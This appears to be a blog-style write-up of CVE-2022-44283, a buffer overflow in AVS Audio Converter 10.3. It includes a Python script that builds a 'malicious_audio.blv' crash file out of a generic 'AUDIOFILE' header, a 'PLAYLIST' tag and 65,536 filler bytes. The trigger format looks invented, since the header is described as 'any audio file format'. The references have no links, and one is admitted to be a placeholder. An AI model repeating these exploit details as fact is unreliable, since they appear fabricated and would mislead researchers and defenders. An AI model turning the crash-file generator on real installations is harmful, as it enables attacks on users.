The AVS Audio Converter software (version 10.3) is susceptible to a buffer overflow vulnerability (CVE-2022-44283). Buffer overflow vulnerabilities are a common type of software security issue that occurs when more data is written to a memory buffer than it can hold, causing the excess data to overwrite adjacent area in memory. In this post, we will discuss the details of this vulnerability, review the code snippet that triggers the issue, and provide links to the original references.

Vulnerability overview

The vulnerability in AVS Audio Converter 10.3 occurs when the application is parsing a specially crafted malicious audio file. An attacker can exploit this buffer overflow issue by convincing a user to open this malicious file using the vulnerable version of the software. When successfully executed, the attack can lead to arbitrary code execution, software crashes, or data corruption. Furthermore, a remote attacker can potentially gain unauthorized access to the target machine by leveraging this vulnerability.

Exploit details

The exploit relies on a specially crafted audio file that contains an excessively large playlist field. When the vulnerable software attempts to process the playlist field, it fails to adequately allocate memory, leading to a buffer overflow vulnerability.

Here is a code snippet that demonstrates the trigger for the vulnerability

def create_exploit_file(filename):
    # Create a crafted audio file formatted to trigger the buffer overflow
    header = b"AUDIOFILE"    # Any audio file format recognized by AVS Audio Converter
    field = b"PLAYLIST"
    payload = b"A" * (65536)  # A large chunk of data to trigger the buffer overflow

    exploit_data = header + field + payload

    with open(filename, "wb") as exploit_file:
        exploit_file.write(exploit_data)  # Write the crafted data to the file

create_exploit_file("malicious_audio.blv")

In this code, the header variable represents the beginning of a valid audio file for AVS Audio Converter while the field variable indicates a playlist section. The payload variable contains an abnormally large chunk of data, which will cause the buffer overflow when processing the file.

Original references

Below are links to the original references for CVE-2022-44283, detailing the buffer overflow vulnerability:

1. MITRE's CVE entry for CVE-2022-44283 - A concise description of the vulnerability, its impact, and affected products.
2. National Vulnerability Database entry for CVE-2022-44283 - A detailed analysis of the issue, including CVSS scores, references, and affected product versions.
3. Security report submitted to AVS Audio Converter's developers - The original security report provided to the developers of AVS Audio Converter, highlighting the vulnerability and offering possible mitigation strategies. (Note: This is a placeholder link, as the actual report might not be publicly accessible.)

Conclusion

It is essential for users to be aware of vulnerabilities like CVE-2022-44283 in the software they use. When using applications like AVS Audio Converter 10.3, it's crucial to keep the software up-to-date to reduce the risk of exposure to security threats. Developers should also adhere to best practices for memory management and input validation to prevent buffer overflow vulnerabilities in their applications.

Timeline

Published on: 11/28/2022 15:15:00 UTC
Last modified on: 12/01/2022 22:36:00 UTC